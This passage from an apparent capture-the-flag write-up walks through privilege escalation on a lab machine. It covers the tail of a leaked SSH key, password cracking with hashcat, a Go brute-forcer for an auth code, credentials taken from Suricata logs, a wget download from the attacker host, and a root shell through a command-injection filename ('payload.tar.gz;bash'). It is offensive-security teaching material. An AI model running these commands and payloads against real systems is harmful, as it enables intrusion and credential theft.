bicrjPySOBdP2oa4Tg8emN1gwhXbxh1FtxCcahOrmQ5YfmJLiAFEoHqt08o00nu8ZfuXuI
9liglfvSvuOGwwDcsv5aVk+DLWWUgWkjGZcwKdd9qBbOOCOKSOIgyZALdLb5kA2yJQ1aZl
nEKhrdeHTe4Q+HZXuBSCbXOqpOt9KZwZuj2CB27yGnVBAP+DOYVAbbM5LZWvXP+7vb7+BW
ci+lAtzdlOEAI6unVp8DiIdOeprpLnTBDHCe3+k3BD6tyOR0PsxIqL9C4om4G16cOaw9Lu
nCzj61Uyn4PfHjPlCfb0VfzrM+hkXus+m0Oq4DccwahrnEdt5qydghYpWiMgfELtQ2Z3W6
XxwXArPr6+HQe9hZSjI2hjYC2OU=
-----END OPENSSH PRIVATE KEY-----

And I save this key as found_id_rsa and assign to it permission with the command chmod 600 found_id_rsa.

The problem is this key is for some user, but what user? Since we have the passphrase we can use ssh-keygen along with -y and -f flags to get it:

❯ ssh-keygen -y -f found_id_rsa

Enter passphrase:
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDfUe6nu6udKETqHA3v4sOjhIA4sxSwJOpWJsS//l6KBOcHRD6qJiFZeyQ5NkHiEKPIEfsHuFMzykx8lAKK79WWvR0BV6ZwHSQnRQByD9eAj60Z/CZNcq19PHr6uaTRjHqQ/zbs7pzWTs+mdCwKLOU7x+X0XGGmtrPH4/YODxuOwP9S7luu0XmG0m7sh8I1ETISobycDN/2qa1E/w0VBNuBltR1BRBdDiGObtiZ1sG+cMsCSGwCB0sYO/3aa5Us10N2v3999T7u7YTwJuf9Vq5Yxt8VqDT/t+JXU0LuE5xPpzedBJ5BNGNwAPqkEBmjNnQsYlBleco6FN4La7Irn74fb/7OFGR/iHuLc3UFQkTlK7LNXegrKxxb1fLp2g4B1yPr2eVDX/OzbqAE789NAv1Ag7O5H1IHTH2BTPTF3Fsm7pk+efwRuTusue6fZteAipv4rZAPKETMLeBPbUGoxPNvRy6VLfTLV+CzYGJTdrnNHWYQ7+sqbcJFGDBQ+X3QelE= dev_acc@local

so it is a key for the user dev_acc.

We can then use this key to log in via SSH as the user dev_acc:

❯ ssh -i found_id_rsa dev_acc@10.10.11.15

The authenticity of host '10.10.11.15 (10.10.11.15)' can't be established.
ED25519 key fingerprint is SHA256:++SuiiJ+ZwG7d5q6fb9KqhQRx1gGhVOfGR24bbTuipg.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.15' (ED25519) to the list of known hosts.
Enter passphrase for key 'found_id_rsa':

dev_acc@intuition:~$ whoami

dev_acc

and get the user flag.


Root Link to heading

To get some hints about the escalation I upload LinPEAS (downloaded from its Github repository) with wget after starting a temporal Python HTTP server on port 8000. In my machine I run:

❯ ls && python3 -m http.server 8000

linpeas.sh

and in the target machine I run:

dev_acc@intuition:~$ wget http://10.10.16.6:8000/linpeas.sh -O /tmp/linpeas.sh

--2024-05-27 20:35:44--  http://10.10.16.6:8000/linpeas.sh
Connecting to 10.10.16.6:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 847815 (828K) [text/x-sh]
Saving to: ‘/tmp/linpeas.sh’

/tmp/linpeas.sh                            100%[=======================================================================================>] 827.94K   192KB/s    in 4.6s

2024-05-27 20:35:49 (180 KB/s) - ‘/tmp/linpeas.sh’ saved [847815/847815]

dev_acc@intuition:~$ chmod +x /tmp/linpeas.sh

dev_acc@intuition:~$ /tmp/linpeas.sh

After running it, I can see some database files:

<SNIP>
╔══════════╣ Searching tables inside readable .db/.sql/.sqlite files (limit 100)
Found /var/lib/command-not-found-backup/commands.db: SQLite 3.x database, last written using SQLite version 3037002, file counter 5, database pages 881, cookie 0x4, schema 4, UTF-8, version-valid-for 5
Found /var/lib/fwupd/pending.db: SQLite 3.x database, last written using SQLite version 3037002, file counter 3, database pages 6, cookie 0x5, schema 4, UTF-8, version-valid-for 3
Found /var/lib/PackageKit/transactions.db: SQLite 3.x database, last written using SQLite version 3037002, file counter 5, database pages 8, cookie 0x4, schema 4, UTF-8, version-valid-for 5
Found /var/www/app/blueprints/auth/users.db: SQLite 3.x database, last written using SQLite version 3037002, file counter 18, database pages 4, cookie 0x1, schema 4, UTF-8, version-valid-for 18
Found /var/www/app/blueprints/report/reports.db: SQLite 3.x database, last written using SQLite version 3034001, file counter 73, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 73

 -> Extracting tables from /var/lib/command-not-found-backup/commands.db (limit 20)
 -> Extracting tables from /var/lib/fwupd/pending.db (limit 20)
 -> Extracting tables from /var/lib/PackageKit/transactions.db (limit 20)
 -> Extracting tables from /var/www/app/blueprints/auth/users.db (limit 20)
 -> Extracting tables from /var/www/app/blueprints/report/reports.db (limit 20)
<SNIP>

where I can see a SQLite database.

We then check it:

dev_acc@intuition:~$ cd /var/www/app/blueprints/auth/

dev_acc@intuition:/var/www/app/blueprints/auth$ sqlite3 users.db

SQLite version 3.37.2 2022-01-06 13:25:41
Enter ".help" for usage hints.
sqlite> .tables

users

sqlite> select * from users;

1|admin|sha256$nypGJ02XBnkIQK71$f0e11dc8ad21242b550cc8a3c27baaf1022b6522afaadbfa92bd612513e9b606|admin
2|adam|sha256$Z7bcBO9P43gvdQWp$a67ea5f8722e69ee99258f208dc56a1d5d631f287106003595087cf42189fc43|webdev

sqlite>

here I find 2 hashes for users admin and adam.

I save these hashes in my machine into a file called hashes_found:

❯ cat hashes_found

sha256$nypGJ02XBnkIQK71$f0e11dc8ad21242b550cc8a3c27baaf1022b6522afaadbfa92bd612513e9b606
sha256$Z7bcBO9P43gvdQWp$a67ea5f8722e69ee99258f208dc56a1d5d631f287106003595087cf42189fc43

Then I will attempt a Brute Force Password Cracking with Hashcat. I search for example hashes for Hashcat and I see that mode 30120 matches with our hashes (also, its description says Python Werkzeug SHA256 (HMAC-SHA256 (key = $salt)) *, that matches with our finding of Flask service). Therefore I run:

❯ hashcat hashes_found /usr/share/wordlists/rockyou.txt -m 30120 -O

<SNIP>
sha256$Z7bcBO9P43gvdQWp$a67ea5f8722e69ee99258f208dc56a1d5d631f287106003595087cf42189fc43:adam gray
Approaching final keyspace - workload adjusted.
<SNIP>

where we find the password adam gray.

I check for other users in this machine. We have another user called lopez and adam, but this password do not work for any of these users:

dev_acc@intuition:/var/www/app/blueprints/auth$ ls /home

adam  dev_acc  lopez

dev_acc@intuition:/var/www/app/blueprints/auth$ su lopez

Password:
su: Authentication failure

dev_acc@intuition:/var/www/app/blueprints/auth$ su adam

Password:
su: Authentication failure

From the intrusion, and also from LinPEAS output, I remember that FTP was running on this machine. If we try to log in with user adam and the cracked password we have:

dev_acc@intuition:/var/www/app/blueprints/auth$ ftp adam@localhost

Connected to localhost.
220 pyftpdlib 1.5.7 ready.
331 Username ok, send password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>

They worked.

Checking what is inside this service we have some backup files:

ftp> ls

229 Entering extended passive mode (|||52591|).
125 Data connection already open. Transfer starting.
drwxr-xr-x   3 root     1002         4096 Apr 10 08:21 backup
226 Transfer complete.

ftp> cd backup

250 "/backup" is the current directory.

ftp> ls

229 Entering extended passive mode (|||49375|).
125 Data connection already open. Transfer starting.
drwxr-xr-x   2 root     1002         4096 Apr 10 08:21 runner1
226 Transfer complete.

ftp> cd runner1

250 "/backup/runner1" is the current directory.

ftp> ls

229 Entering extended passive mode (|||47211|).
125 Data connection already open. Transfer starting.
-rwxr-xr-x   1 root     1002          318 Apr 06 00:25 run-tests.sh
-rwxr-xr-x   1 root     1002        16744 Oct 19  2023 runner1
-rw-r--r--   1 root     1002         3815 Oct 19  2023 runner1.c
226 Transfer complete.

ftp>

We find files. We download these files:

ftp> mget .

mget run-tests.sh [anpqy?]? y
229 Entering extended passive mode (|||46833|).
125 Data connection already open. Transfer starting.
100% |******************************************************************************************************************************|   318      295.19 KiB/s    00:00 ETA
226 Transfer complete.
318 bytes received in 00:00 (199.32 KiB/s)
mget runner1 [anpqy?]? y
229 Entering extended passive mode (|||44975|).
150 File status okay. About to open data connection.
100% |******************************************************************************************************************************| 16744        9.13 MiB/s    00:00 ETA
226 Transfer complete.
16744 bytes received in 00:00 (7.20 MiB/s)
mget runner1.c [anpqy?]? y
229 Entering extended passive mode (|||49583|).
150 File status okay. About to open data connection.
100% |******************************************************************************************************************************|  3815        2.28 MiB/s    00:00 ETA
226 Transfer complete.
3815 bytes received in 00:00 (1.87 MiB/s)

Once downloaded if we do cat run-test.sh we have the Bash script:

#!/bin/bash

# List playbooks
./runner1 list

# Run playbooks [Need authentication]
# ./runner run [playbook number] -a [auth code]
#./runner1 run 1 -a "UHI75GHI****"

# Install roles [Need authentication]
# ./runner install [role url] -a [auth code]
#./runner1 install http://role.host.tld/role.tar -a "UHI75GHI****"

that simply runs runner1 file with the command list. The last line seems interesting since it seems to be kind of an authentication.

Reading runner1.c we have:

// Version : 1

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dirent.h>
#include <openssl/md5.h>

#define INVENTORY_FILE "/opt/playbooks/inventory.ini"
#define PLAYBOOK_LOCATION "/opt/playbooks/"
#define ANSIBLE_PLAYBOOK_BIN "/usr/bin/ansible-playbook"
#define ANSIBLE_GALAXY_BIN "/usr/bin/ansible-galaxy"
#define AUTH_KEY_HASH "0feda17076d793c2ef2870d7427ad4ed"

int check_auth(const char* auth_key) {
    unsigned char digest[MD5_DIGEST_LENGTH];
    MD5((const unsigned char*)auth_key, strlen(auth_key), digest);

    char md5_str[33];
    for (int i = 0; i < 16; i++) {
        sprintf(&md5_str[i*2], "%02x", (unsigned int)digest[i]);
    }

    if (strcmp(md5_str, AUTH_KEY_HASH) == 0) {
        return 1;
    } else {
        return 0;
    }
}

void listPlaybooks() {
    DIR *dir = opendir(PLAYBOOK_LOCATION);
    if (dir == NULL) {
        perror("Failed to open the playbook directory");
        return;
    }

    struct dirent *entry;
    int playbookNumber = 1;

    while ((entry = readdir(dir)) != NULL) {
        if (entry->d_type == DT_REG && strstr(entry->d_name, ".yml") != NULL) {
            printf("%d: %s\n", playbookNumber, entry->d_name);
            playbookNumber++;
        }
    }

    closedir(dir);
}

void runPlaybook(const char *playbookName) {
    char run_command[1024];
    snprintf(run_command, sizeof(run_command), "%s -i %s %s%s", ANSIBLE_PLAYBOOK_BIN, INVENTORY_FILE, PLAYBOOK_LOCATION, playbookName);
    system(run_command);
}

void installRole(const char *roleURL) {
    char install_command[1024];
    snprintf(install_command, sizeof(install_command), "%s install %s", ANSIBLE_GALAXY_BIN, roleURL);
    system(install_command);
}

int main(int argc, char *argv[]) {
    if (argc < 2) {
        printf("Usage: %s [list|run playbook_number|install role_url] -a <auth_key>\n", argv[0]);
        return 1;
    }

    int auth_required = 0;
    char auth_key[128];

    for (int i = 2; i < argc; i++) {
        if (strcmp(argv[i], "-a") == 0) {
            if (i + 1 < argc) {
                strncpy(auth_key, argv[i + 1], sizeof(auth_key));
                auth_required = 1;
                break;
            } else {
                printf("Error: -a option requires an auth key.\n");
                return 1;
            }
        }
    }

    if (!check_auth(auth_key)) {
        printf("Error: Authentication failed.\n");
        return 1;
    }

    if (strcmp(argv[1], "list") == 0) {
        listPlaybooks();
    } else if (strcmp(argv[1], "run") == 0) {
        int playbookNumber = atoi(argv[2]);
        if (playbookNumber > 0) {
            DIR *dir = opendir(PLAYBOOK_LOCATION);
            if (dir == NULL) {
                perror("Failed to open the playbook directory");
                return 1;
            }

            struct dirent *entry;
            int currentPlaybookNumber = 1;
            char *playbookName = NULL;

            while ((entry = readdir(dir)) != NULL) {
                if (entry->d_type == DT_REG && strstr(entry->d_name, ".yml") != NULL) {
                    if (currentPlaybookNumber == playbookNumber) {
                        playbookName = entry->d_name;
                        break;
                    }
                    currentPlaybookNumber++;
                }
            }

            closedir(dir);

            if (playbookName != NULL) {
                runPlaybook(playbookName);
            } else {
                printf("Invalid playbook number.\n");
            }
        } else {
            printf("Invalid playbook number.\n");
        }
    } else if (strcmp(argv[1], "install") == 0) {
        installRole(argv[2]);
    } else {
        printf("Usage2: %s [list|run playbook_number|install role_url] -a <auth_key>\n", argv[0]);
        return 1;
    }

    return 0;
}

This script apparently compares MD5 hash with the argument of the flag -a when the command install is used.

The comment #define AUTH_KEY_HASH "0feda17076d793c2ef2870d7427ad4ed" that defines the MD5 hash to authenticate, and the hash of the password/string UHI75GHI**** must be the same. Here we can attempt to brute force this string. Since a script in Python could be very slow to bruteforce the hash, I create a script in Go to do it. The script is:

package main

import (
	"crypto/md5"
	"encoding/hex"
	"fmt"
)

// Calculate MD5 hash
func getMD5Hash(text string) string {
	hash := md5.Sum([]byte(text))
	return hex.EncodeToString(hash[:])
}

// Brute force MD5 hash
func bruteForceMatch(pattern string, targetHash string, position int) string {
	charset := "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789|\\@#%&/()=?_.,"
	if position >= len(pattern) {
		if getMD5Hash(pattern) == targetHash {
			return pattern
		}
		return ""
	}

	if pattern[position] != '*' {
		return bruteForceMatch(pattern, targetHash, position+1)
	}

	for _, char := range charset {
		newPattern := pattern[:position] + string(char) + pattern[position+1:]
		result := bruteForceMatch(newPattern, targetHash, position+1)
		if result != "" {
			return result
		}
	}

	return ""
}

// Main
func main() {
	targetHash := "0feda17076d793c2ef2870d7427ad4ed" // Auth hash
	pattern := "UHI75GHI****" // String to find

	result := bruteForceMatch(pattern, targetHash, 0)
	if result != "" {
		fmt.Printf("Match found: %s\n", result)
	} else {
		fmt.Println("No match found.")
	}
}

and running it, it quickly returns:

❯ go run main.go

Match found: UHI75GHINKOP

so we have the authentication code UHI75GHINKOP.

I check what this application tries to install when we call it. For that, as usual, I start a netcat listener on port 8000. In the victim machine I run:

dev_acc@intuition:/tmp/temp$ ./runner1 install http://10.10.16.6:8000/ -a UHI75GHINKOP

Starting galaxy role install process
- downloading role from http://10.10.16.6:8000/

and in my netcat listener I get:

❯ nc -lvnp 8000

listening on [any] 8000 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.11.15] 51002
GET / HTTP/1.1
Accept-Encoding: identity
Host: 10.10.16.6:8000
User-Agent: ansible-galaxy/2.10.8 (Linux; python:3.11.0)
Connection: close

so Ansible Galaxy is attempting to install something.

Note
Ansible Galaxy is a galaxy website where users can share roles and to a command-line tool for installing, creating, and managing roles. Ansible Galaxy gives greater visibility to one of Ansible’s most exciting features, such as application installation or reusable roles for server configuration

Looking again at LinPEAS output, we have:

<SNIP>
╔══════════╣ Modified interesting files in the last 5mins (limit 100)
/var/www/app/blueprints/auth/users.db
/var/log/kern.log
/var/log/auth.log
/var/log/syslog
/var/log/laurel/audit.log.8
/var/log/laurel/audit.log.1
/var/log/laurel/audit.log.3
/var/log/laurel/audit.log.9
/var/log/laurel/audit.log.5
/var/log/laurel/audit.log.6
/var/log/laurel/audit.log
/var/log/laurel/audit.log.7
/var/log/laurel/audit.log.4
/var/log/laurel/audit.log.2
/var/log/journal/ebecc789f6824e8caa134b39574ba839/system@b03da3a0958940309fbfcf7acfe4ac92-0000000000064aa6-0006197584a8f306.journal
/var/log/journal/ebecc789f6824e8caa134b39574ba839/user-1001.journal
/var/log/journal/ebecc789f6824e8caa134b39574ba839/system.journal
/var/log/suricata/eve.json
/var/log/suricata/stats.log
/var/log/nginx/access.log
/home/dev_acc/.gnupg/pubring.kbx
/home/dev_acc/.gnupg/trustdb.gpg
/home/dev_acc/snap/lxd/common/config/config.yml
<SNIP>

I can see Suricata service running:

Note
Suricata is an open-source detection engine that can act as an intrusion detection system (IDS) and an intrusion prevention system (IPS). It was developed by the Open Information Security Foundation (OSIF) and is a free tool used by enterprises, small and large.

Basically, this software analyzes the traffic in this machine. So it could contain usernames and/or passwords. Visiting /var/log/suricata I can see some files:

dev_acc@intuition:~$ ls -la /var/log/suricata/

total 127208
drwxr-xr-x  2 root root       4096 May 27 17:46 .
drwxrwxr-x 12 root syslog     4096 May 27 17:46 ..
-rw-r--r--  1 root root   80670968 May 27 22:07 eve.json
-rw-r--r--  1 root root   16630665 May 27 17:46 eve.json.1
-rw-r--r--  1 root root    5760612 Oct 26  2023 eve.json.1-2024040114.backup
-rw-r--r--  1 root root          0 Apr  8 14:19 eve.json.1-2024042213.backup
-rw-r--r--  1 root root          0 Apr 22 13:26 eve.json.1-2024042918.backup
-rw-r--r--  1 root root          0 Apr 29 18:27 eve.json.1-2024052717.backup
-rw-r--r--  1 root root     214743 Oct 28  2023 eve.json.5.gz
-rw-r--r--  1 root root    5050595 Oct 14  2023 eve.json.7.gz
-rw-r--r--  1 root root     972578 Sep 29  2023 eve.json.8.gz
-rw-r--r--  1 root root          0 May 27 17:46 fast.log
-rw-r--r--  1 root root          0 May 27 17:46 fast.log.1
-rw-r--r--  1 root root          0 Oct 26  2023 fast.log.1-2024040114.backup
-rw-r--r--  1 root root          0 Apr  8 14:19 fast.log.1-2024042213.backup
-rw-r--r--  1 root root          0 Apr 22 13:26 fast.log.1-2024042918.backup
-rw-r--r--  1 root root          0 Apr 29 18:27 fast.log.1-2024052717.backup
-rw-r--r--  1 root root         20 Oct 26  2023 fast.log.5.gz
-rw-r--r--  1 root root       1033 Oct  8  2023 fast.log.7.gz
-rw-r--r--  1 root root       1485 Sep 28  2023 fast.log.8.gz
-rw-r--r--  1 root root    8119002 May 27 22:07 stats.log
-rw-r--r--  1 root root    7720141 May 27 17:46 stats.log.1
-rw-r--r--  1 root root    4293890 Oct 26  2023 stats.log.1-2024040114.backup
-rw-r--r--  1 root root          0 Apr  8 14:19 stats.log.1-2024042213.backup
-rw-r--r--  1 root root          0 Apr 22 13:26 stats.log.1-2024042918.backup
-rw-r--r--  1 root root          0 Apr 29 18:27 stats.log.1-2024052717.backup
-rw-r--r--  1 root root      73561 Oct 28  2023 stats.log.5.gz
-rw-r--r--  1 root root     376680 Oct 14  2023 stats.log.7.gz
-rw-r--r--  1 root root      67778 Sep 29  2023 stats.log.8.gz
-rw-r--r--  1 root root       1218 May 27 17:46 suricata.log
-rw-r--r--  1 root root      25296 May 27 17:46 suricata.log.1
-rw-r--r--  1 root root       3893 Oct 26  2023 suricata.log.1-2024040114.backup
-rw-r--r--  1 root root      68355 Apr  8 14:19 suricata.log.1-2024042213.backup
-rw-r--r--  1 root root      95100 Apr 22 13:26 suricata.log.1-2024042918.backup
-rw-r--r--  1 root root      26145 Apr 29 18:27 suricata.log.1-2024052717.backup
-rw-r--r--  1 root root        990 Apr  1 14:50 suricata.log.5.gz
-rw-r--r--  1 root root       1412 Oct 19  2023 suricata.log.7.gz
-rw-r--r--  1 root root       5076 Oct  8  2023 suricata.log.8.gz

where I can see some .log and .gz files.

Searching for lopez user with grep returns nothing:

dev_acc@intuition:~$ grep -i "lopez" /var/log/suricata/ 2>/dev/null

but searching with zgrep (which is grep for compressed files) we can see something:

dev_acc@intuition:~$ zgrep -i "lopez" /var/log/suricata/*.gz 2>/dev/null

/var/log/suricata/eve.json.8.gz:{"timestamp":"2023-09-28T17:43:36.099184+0000","flow_id":1988487100549589,"in_iface":"ens33","event_type":"ftp","src_ip":"192.168.227.229","src_port":37522,"dest_ip":"192.168.227.13","dest_port":21,"proto":"TCP","tx_id":1,"community_id":"1:SLaZvboBWDjwD/SXu/SOOcdHzV8=","ftp":{"command":"USER","command_data":"lopez","completion_code":["331"],"reply":["Username ok, send password."],"reply_received":"yes"}}
/var/log/suricata/eve.json.8.gz:{"timestamp":"2023-09-28T17:43:52.999165+0000","flow_id":1988487100549589,"in_iface":"ens33","event_type":"ftp","src_ip":"192.168.227.229","src_port":37522,"dest_ip":"192.168.227.13","dest_port":21,"proto":"TCP","tx_id":2,"community_id":"1:SLaZvboBWDjwD/SXu/SOOcdHzV8=","ftp":{"command":"PASS","command_data":"Lopezzz1992%123","completion_code":["530"],"reply":["Authentication failed."],"reply_received":"yes"}}
/var/log/suricata/eve.json.8.gz:{"timestamp":"2023-09-28T17:44:32.133372+0000","flow_id":1218304978677234,"in_iface":"ens33","event_type":"ftp","src_ip":"192.168.227.229","src_port":45760,"dest_ip":"192.168.227.13","dest_port":21,"proto":"TCP","tx_id":1,"community_id":"1:hzLyTSoEJFiGcXoVyvk2lbJlaF0=","ftp":{"command":"USER","command_data":"lopez","completion_code":["331"],"reply":["Username ok, send password."],"reply_received":"yes"}}
/var/log/suricata/eve.json.8.gz:{"timestamp":"2023-09-28T17:44:48.188361+0000","flow_id":1218304978677234,"in_iface":"ens33","event_type":"ftp","src_ip":"192.168.227.229","src_port":45760,"dest_ip":"192.168.227.13","dest_port":21,"proto":"TCP","tx_id":2,"community_id":"1:hzLyTSoEJFiGcXoVyvk2lbJlaF0=","ftp":{"command":"PASS","command_data":"Lopezz1992%123","completion_code":["230"],"reply":["Login successful."],"reply_received":"yes"}}

where Lopezz1992%123 seems like a password.

I check with NetExec if these credentials work via SSH and they do:

❯ netexec ssh 10.10.11.15 -u 'lopez' -p 'Lopezz1992%123'

SSH         10.10.11.15     22     10.10.11.15      [*] SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.7
SSH         10.10.11.15     22     10.10.11.15      [+] lopez:Lopezz1992%123  (non root) Linux - Shell access!

so we have credentials: lopez:Lopezz1992%123 and connect via SSH as this user:

❯ sshpass -p 'Lopezz1992%123' ssh -o stricthostkeychecking=no lopez@10.10.11.15

lopez@intuition:~$ whoami

lopez

I note that this user can run a file as sudo:

lopez@intuition:~$ sudo -l

[sudo] password for lopez:
Matching Defaults entries for lopez on intuition:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User lopez may run the following commands on intuition:
    (ALL : ALL) /opt/runner2/runner2

where we have a the file /opt/runner2/runner2. Due to its name, it might be something like the second version of runner1 (the previous found files in FTP share).

Running this file shows:

lopez@intuition:/opt/runner2$ ./runner2

Usage: ./runner2 <json_file>

which seems a little bit different from runner1 binary.

We then pass this file from the victim machine to our attacker machine. We now will do some Reverse Engineering with Ghidra. Analyzing the main function we have:

undefined8 main(int param_1,undefined8 *param_2)

{
  int iVar1;
  FILE *__stream;
  long lVar2;
  int *piVar3;
  int *piVar4;
  char *pcVar5;
  undefined8 uVar6;
  DIR *__dirp;
  dirent *pdVar7;
  int local_80;
  char *local_78;
  
  if (param_1 != 2) {
    printf("Usage: %s <json_file>\n",*param_2);
    return 1;
  }
  __stream = fopen((char *)param_2[1],"r");
  if (__stream == (FILE *)0x0) {
    perror("Failed to open the JSON file");
    return 1;
  }
  lVar2 = json_loadf(__stream,2,0);
  fclose(__stream);
  if (lVar2 == 0) {
    fwrite("Error parsing JSON data.\n",1,0x19,stderr);
    return 1;
  }
  piVar3 = (int *)json_object_get(lVar2,&DAT_00102148);
  if ((piVar3 == (int *)0x0) || (*piVar3 != 0)) {
    fwrite("Run key missing or invalid.\n",1,0x1c,stderr);
  }
  else {
    piVar4 = (int *)json_object_get(piVar3,"action");
    if ((piVar4 == (int *)0x0) || (*piVar4 != 2)) {
      fwrite("Action key missing or invalid.\n",1,0x1f,stderr);
    }
    else {
      pcVar5 = (char *)json_string_value(piVar4);
      iVar1 = strcmp(pcVar5,"list");
      if (iVar1 == 0) {
        listPlaybooks();
      }
      else {
        iVar1 = strcmp(pcVar5,"run");
        if (iVar1 == 0) {
          piVar3 = (int *)json_object_get(piVar3,&DAT_00102158);
          piVar4 = (int *)json_object_get(lVar2,"auth_code");
          if ((piVar4 != (int *)0x0) && (*piVar4 == 2)) {
            uVar6 = json_string_value(piVar4);
            iVar1 = check_auth(uVar6);
            if (iVar1 != 0) {
              if ((piVar3 == (int *)0x0) || (*piVar3 != 3)) {
                fwrite("Invalid \'num\' value for \'run\' action.\n",1,0x26,stderr);
              }
              else {
                iVar1 = json_integer_value(piVar3);
                __dirp = opendir("/opt/playbooks/");
                if (__dirp == (DIR *)0x0) {
                  perror("Failed to open the playbook directory");
                  return 1;
                }
                local_80 = 1;
                local_78 = (char *)0x0;
                while (pdVar7 = readdir(__dirp), pdVar7 != (dirent *)0x0) {
                  if ((pdVar7->d_type == '\b') &&
                     (pcVar5 = strstr(pdVar7->d_name,".yml"), pcVar5 != (char *)0x0)) {
                    if (local_80 == iVar1) {
                      local_78 = pdVar7->d_name;
                      break;
                    }
                    local_80 = local_80 + 1;
                  }
                }
                closedir(__dirp);
                if (local_78 == (char *)0x0) {
                  fwrite("Invalid playbook number.\n",1,0x19,stderr);
                }
                else {
                  runPlaybook(local_78);
                }
              }
              goto LAB_00101db5;
            }
          }
          fwrite("Authentication key missing or invalid for \'run\' action.\n",1,0x38,stderr);
          json_decref(lVar2);
          return 1;
        }
        iVar1 = strcmp(pcVar5,"install");
        if (iVar1 == 0) {
          piVar3 = (int *)json_object_get(piVar3,"role_file");
          piVar4 = (int *)json_object_get(lVar2,"auth_code");
          if ((piVar4 != (int *)0x0) && (*piVar4 == 2)) {
            uVar6 = json_string_value(piVar4);
            iVar1 = check_auth(uVar6);
            if (iVar1 != 0) {
              if ((piVar3 == (int *)0x0) || (*piVar3 != 2)) {
                fwrite("Role File missing or invalid for \'install\' action.\n",1,0x33,stderr);
              }
              else {
                uVar6 = json_string_value(piVar3);
                installRole(uVar6);
              }
              goto LAB_00101db5;
            }
          }
          fwrite("Authentication key missing or invalid for \'install\' action.\n",1,0x3c,stderr);
          json_decref(lVar2);
          return 1;
        }
        fwrite("Invalid \'action\' value.\n",1,0x18,stderr);
      }
    }
  }
LAB_00101db5:
  json_decref(lVar2);
  return 0;
}

Intuition

Basically, this file first check that an argument has been passed, or it prints the message that showed to us when we executed it. Then tries to open a JSON file, and then to parse it. After that, it searches for run key, within it, and action key. Once they are read, it will ask for command such as list, run or install. run and install command will need an authentication key, which I assume is the same found for runner1. Additionally, install command also needs a parameter role_file (inside run key) and auth_code key in the JSON file.

From the reversed code, if we pass a Role File, it will execute the installRole function:

void installRole(undefined8 param_1)

{
  int iVar1;
  long in_FS_OFFSET;
  char local_418 [1032];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  iVar1 = isTarArchive(param_1);
  if (iVar1 == 0) {
    fwrite("Invalid tar archive.\n",1,0x15,stderr);
  }
  else {
    snprintf(local_418,0x400,"%s install %s","/usr/bin/ansible-galaxy",param_1);
    system(local_418);
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

First, this function checks that the passed file is a tar file. If it is, it installs it using /usr/bin/ansible-galaxy (Ansible Galaxy).

If we analyze what happens when we run the command run, it calls runPlaybook function, that is:

void runPlaybook(undefined8 param_1)

{
  long in_FS_OFFSET;
  char local_418 [1032];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  snprintf(local_418,0x400,"%s -i %s %s%s","/usr/bin/ansible-playbook",
           "/opt/playbooks/inventory.ini","/opt/playbooks/",param_1);
  system(local_418);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

So this function uses Ansible Galaxy, search an inventory .ini file called /opt/playbooks/inventory.ini and looks for the playbook called /opt/playbooks/<user-parameter>. Then, it’s executed by system, so we might try to inject command in the name of the compressed role file.

In summary:

  • We need to create a JSON file.
  • This file needs to contain a run key and an auth_code key.
  • auth_code key should be the same key we found in the previous script (UHI75GHINKOP).
  • Inside run key we need an action key (that needs to be set as install) and a role_file key for an Ansible compressed role file.
  • Since this compressed Ansible role file is being executed by system, we can attempt to inject a command in the name of the compressed file.

Now that we have all the fields we need, we can attempt to create a malicious JSON file. Also, we will need a tar file containing a role. For this I use this Github repository for the sys admin role. First, download the compressed Ansible role file:

❯ wget https://github.com/coopdevs/sys-admins-role/archive/refs/tags/v0.0.3.tar.gz -O sys_admins_role.tar.gz

Then start a temporal Python HTTP server on port 8000 and pass it to the target machine:

❯ ls && python3 -m http.server 8000
found_id_rsa  hashes_found  runner2  sys_admins_role.tar.gz

Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

and in the victim machine just download it:

lopez@intuition:/opt/runner2$ wget http://10.10.16.6:8000/sys_admins_role.tar.gz -O /tmp/sys_admins_role.tar.gz

Now, let’s rename this file as payload.tar.gz;bash to inject commands:

lopez@intuition:/tmp$ cp sys_admins_role.tar.gz payload.tar.gz\;bash

and create a payload.json file with the content:

{
  "run": {
    "action":"install",
    "role_file":"payload.tar.gz;bash"
  },
  "auth_code":"UHI75GHINKOP"
}

Now run the command with sudo:

lopez@intuition:/tmp$ sudo /opt/runner2/runner2 /tmp/payload.json

Starting galaxy role install process
[WARNING]: - payload.tar.gz was NOT installed successfully: Unknown error when attempting to call Galaxy at 'https://galaxy.ansible.com/api/': <urlopen error [Errno -3]
Temporary failure in name resolution>
ERROR! - you can use --ignore-errors to skip failed roles and finish processing the list.
root@intuition:/tmp# whoami

root

It worked. GG.

~Happy Hacking.